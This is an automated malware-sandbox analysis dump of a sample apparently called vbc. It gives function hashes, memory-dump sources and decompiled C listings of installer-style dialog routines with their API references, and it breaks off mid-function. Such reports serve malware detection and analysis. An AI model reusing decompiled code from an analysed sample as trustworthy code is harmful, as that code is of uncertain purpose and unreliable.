Instruction ID: 4d3fc1c80ea15bf86cc2801d6424e98614acddb7a54358772128df9d71e60e61
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: C6C14871E042599BCF18CF68C8905EEBBB2BF88314F25866AD85677380D7347941CF95

Uniqueness

Uniqueness Score: -1.00%

Function 036F3DE7 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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String ID:
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Opcode ID: 5c7b0e71fa35c9b4742bed50b9bf2216787e54fa83ad13d5e25ce4f83c8cfaff
Instruction ID: a012413e0ef0fd2f422d01a36ea3d9923c127a94b2398be22421b68f44052b32
Opcode Fuzzy Hash: 5c7b0e71fa35c9b4742bed50b9bf2216787e54fa83ad13d5e25ce4f83c8cfaff
Instruction Fuzzy Hash: 3561B171604389DFCB34DF6AC9A07EB76E1AF19740F44452EDA4E9BB40C731AA41CB12

Uniqueness

Uniqueness Score: -1.00%

Function 036F3C30 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c9fe33d51f2d4566d5abd6eb86c8f89cfa6d3e62bc0b7d1525171c8b3a1a3f
Instruction ID: fa7985f5ddaf702976c6b71aaf8a13a4c3dc5fe0dac3b19675c50a40bc6a91db
Opcode Fuzzy Hash: 02c9fe33d51f2d4566d5abd6eb86c8f89cfa6d3e62bc0b7d1525171c8b3a1a3f
Instruction Fuzzy Hash: 494125351087C24FCB21CFB888896D9BFA0AF06364F1D87DDCAA44B697E3364146C752

Uniqueness

Uniqueness Score: -1.00%

Function 036F79D3 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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API ID:
String ID:
API String ID:
Opcode ID: 07674c675fbb4391a6665858390a9c4eb80830fcd0cc632bd5e3a9e7e6729f8c
Instruction ID: 1211504b73e58e3ee258e1b31d29ba77ec819e0fe936307bf4a4667e5180199e
Opcode Fuzzy Hash: 07674c675fbb4391a6665858390a9c4eb80830fcd0cc632bd5e3a9e7e6729f8c
Instruction Fuzzy Hash: A14138709083C58FDF39DF3489A47FA77A2AF52320F0981BECD9A4E285D2354641C716

Uniqueness

Uniqueness Score: -1.00%

Function 036F3EC4 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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Opcode ID: d579cd20bbed0f106c054fd91fef55ede422a288c979c5b0fe6e066c77e81a72
Instruction ID: 614b610d76a252a2abe87c4e83fb39ed1877569e62204b0c9b141bebd5946650
Opcode Fuzzy Hash: d579cd20bbed0f106c054fd91fef55ede422a288c979c5b0fe6e066c77e81a72
Instruction Fuzzy Hash: 1E4127752057459FCB39DF16CAB16FBB3A6AF49700F44061ECA8A0FB90CB316A80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 036F3E9D Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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Opcode ID: 4877339a5af519df90ca74a1c1479da8766a7b8dcc73ca5d23638ffd8264dadd
Instruction ID: 2351e2d99ce6043aea0ef274e155bc6b1f0760cbf31755e63bded4043b2b33e1
Opcode Fuzzy Hash: 4877339a5af519df90ca74a1c1479da8766a7b8dcc73ca5d23638ffd8264dadd
Instruction Fuzzy Hash: C44116711047859FCB35CF16CAB16FB77A1AF45740F94061ECA4A4BB90CB316A81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 036F7651 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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Opcode ID: 8f20020a4844c201d32b14be27e4dac6ad05c1b29799e436adca55ece17740e7
Instruction ID: d806d447ffd051e267fbd024228fecd5f083558a98f76f5d88adc12cad1a341e
Opcode Fuzzy Hash: 8f20020a4844c201d32b14be27e4dac6ad05c1b29799e436adca55ece17740e7
Instruction Fuzzy Hash: EF21C33470934ACFCB349E39C9D47DAB3A2BF5A740F99426DD949CB302E3705846C641

Uniqueness

Uniqueness Score: -1.00%

Function 036F5652 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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Opcode ID: c6ee73820f13b5c8972330a15696398dc197690878cdb433548affbb82c66a9e
Instruction ID: 53d7c407637f93f6cc606c63bbb85025b5e21aa6705cedf6e14812c92a4c6141
Opcode Fuzzy Hash: c6ee73820f13b5c8972330a15696398dc197690878cdb433548affbb82c66a9e
Instruction Fuzzy Hash: 3B11B673459244DFDBA8AF348C49AEBBBF6AF91350F13452EEC8A5B610D33159418B42

Uniqueness

Uniqueness Score: -1.00%

Function 036F533D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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API ID:
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Opcode ID: 6da38b038068966dd311a5abf458b3d1a3ce38343e96beb06c82a659ca4f5601
Instruction ID: 2f85c676666cb6d5a0cb09870b48c4bc63fb20c0fd8a829cf64f1af889eeecee
Opcode Fuzzy Hash: 6da38b038068966dd311a5abf458b3d1a3ce38343e96beb06c82a659ca4f5601
Instruction Fuzzy Hash: 37C08C5B1582110D0AE2207C320055B24029FC3850715CA6C5A0BAA108E9C0CC8C208A

Uniqueness

Uniqueness Score: -1.00%

Function 036F522F Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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Opcode ID: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
Instruction ID: a026a310f9d08bb1d858143eb29fddbf5fc3d9bc52f9beb0b7c2352c6f2dcf67
Opcode Fuzzy Hash: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
Instruction Fuzzy Hash: CDB002B66515819FEF56DB08D591B4073A4FB55648B0904D0E412DB712D224E910CA04

Uniqueness

Uniqueness Score: -1.00%

Function 036F6BA6 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 036F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36f0000_vbc.jbxd

Yara matches

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Opcode ID: 8e4915d1f00ad8f7450ea74e2b6b53dd5db9d11ec3cbd9bd37e991852c677831
Instruction ID: adfcd750ae3c432ca888a39a44e0875da1d7e24ab2f7088286a892864631ebf3
Opcode Fuzzy Hash: 8e4915d1f00ad8f7450ea74e2b6b53dd5db9d11ec3cbd9bd37e991852c677831
Instruction Fuzzy Hash: C0B00275651640CFCE56CF59C194F4173B4FF58750F4254D4E8118BB11C264E900CE50

Uniqueness

Uniqueness Score: -1.00%

Function 00404F06 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404F06(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x434f28;
				_v28 =  *0x434f10 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x434f19 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404E54(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x434f18) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x42d24c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x42d260;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x42d24c = 0;
								 *0x42d260 = 0;
								 *0x434f60 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x434f19 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404ED4();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x42d260;
									_t201 =  *0x434f28;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x434f2c <= 0) {
										L86:
										if( *0x434fbe == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x433edc + 0x10)) != 0) {
											E00404E0F(0x3ff, 0xfffffffb, E00404E27(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x434f2c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x42d260);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x434f60 = _t291;
					 *0x42d260 = GlobalAlloc(0x40,  *0x434f2c << 2);
					_t258 = LoadImageW( *0x434f00, 0x6e, 0, 0, 0, 0);
					 *0x42d254 =  *0x42d254 | 0xffffffff;
					_t297 = _t258;
					 *0x42d25c = SetWindowLongW(_v8, 0xfffffffc, E00405513);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42d24c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42d24c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E0040657A(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404499(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404499(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x434f2c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x42d260 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x42d260 + _t300 * 4) = _t284;
									_v16 =  *( *0x42d260 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x434f2c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004044CE(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004044CE(_v12);
								L93:
								return E00404500(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

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APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F1E
GetDlgItem.USER32(?,00000408), ref: 00404F29
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F73
LoadImageW.USER32 ref: 00404F8A
SetWindowLongW.USER32 ref: 00404FA3
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB7
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FC9
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDF
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FEB
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFD
DeleteObject.GDI32(00000000), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32 ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040525D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052D7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040531B
ImageList_Destroy.COMCTL32(?), ref: 00405330
GlobalFree.KERNEL32(?), ref: 00405340
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053B9
SendMessageW.USER32(?,00001102,?,?), ref: 00405462
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405471
InvalidateRect.USER32(?,00000000,00000001), ref: 0040549C
ShowWindow.USER32(?,00000000), ref: 004054EA
GetDlgItem.USER32(?,000003FE), ref: 004054F5
ShowWindow.USER32(00000000), ref: 004054FC

Strings

, xrefs: 004054D4
N, xrefs: 0040519B
M, xrefs: 004050BA

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 749bdf8e43bd841ecb3e5c95033ce80d775c45143b483fe0b3b59f6494973967
Instruction ID: 669472b6e39b4296dbb294a81ed98d86f32f22d8abeb4cff7518c6a892085abf
Opcode Fuzzy Hash: 749bdf8e43bd841ecb3e5c95033ce80d775c45143b483fe0b3b59f6494973967
Instruction Fuzzy Hash: EF028A70900608EFDB20DFA9DD45AAF7BB5FB84314F10817AE610BA2E0D7799942DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404658 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404658(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				intOrPtr _t69;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x42b234 =  *0x42b234 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E00404500(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x432ea0;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404907(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x434f08, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x434f08, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x42b234 != 0) {
						goto L27;
					} else {
						_t69 =  *0x42c240; // 0x900bec
						_t29 = _t69 + 0x14; // 0x900c00
						_t116 = _t29;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004044BB(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004048E3();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x433edc - 4 + _t75 * 4);
				}
				_t76 =  *0x434f38 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404609;
				if(_t110 != 2) {
					_v8 = E004045CF;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404499(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404499(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004044BB( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004044CE(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x434f10 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x42b234 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x42b234 = 0;
				return 0;
			}

0x0040466a
0x00404797
0x004047f4
0x004047f8
0x004048c5
0x004048c7
0x004048c7
0x004048cd
0x004048cd
0x004048d0
0x00000000
0x004048d7
0x00404806
0x0040480c
0x00404816
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0x00404886
0x00000000
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0x00000000
0x004048bb
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0x00000000
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0x00000000
0x00000000
0x004047e8
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0x00000000
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0x00404670
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0x00404713
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0x00404738
0x00404738
0x00404746
0x00404754
0x00404766
0x0040476b
0x0040477b
0x0040477d
0x00000000

APIs

CheckDlgButton.USER32 ref: 004046F6
GetDlgItem.USER32(?,000003E8), ref: 0040470A
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404727
GetSysColor.USER32 ref: 00404738
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404746
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404754
lstrlenW.KERNEL32(?), ref: 00404759
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404766
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040477B
GetDlgItem.USER32(?,0000040A), ref: 004047D4
SendMessageW.USER32(00000000), ref: 004047DB
GetDlgItem.USER32(?,000003E8), ref: 00404806
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404849
LoadCursorW.USER32 ref: 00404857
SetCursor.USER32(00000000), ref: 0040485A
LoadCursorW.USER32 ref: 00404873
SetCursor.USER32(00000000), ref: 00404876
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048A5
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B7

Strings

Call, xrefs: 00404835
N, xrefs: 004047F4

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
Instruction ID: e0aa441e67ff77812dea5cfa76c138b5706349c0d06c8e95e02877fce1cb63d1
Opcode Fuzzy Hash: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
Instruction Fuzzy Hash: 1A61A3B5900209BFDB10AF60DD85E6A7BA9FB44314F00843AFB05B62D0D778A951DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x434f10;
					_t70 = BeginPaint(_a4,  &_v96);
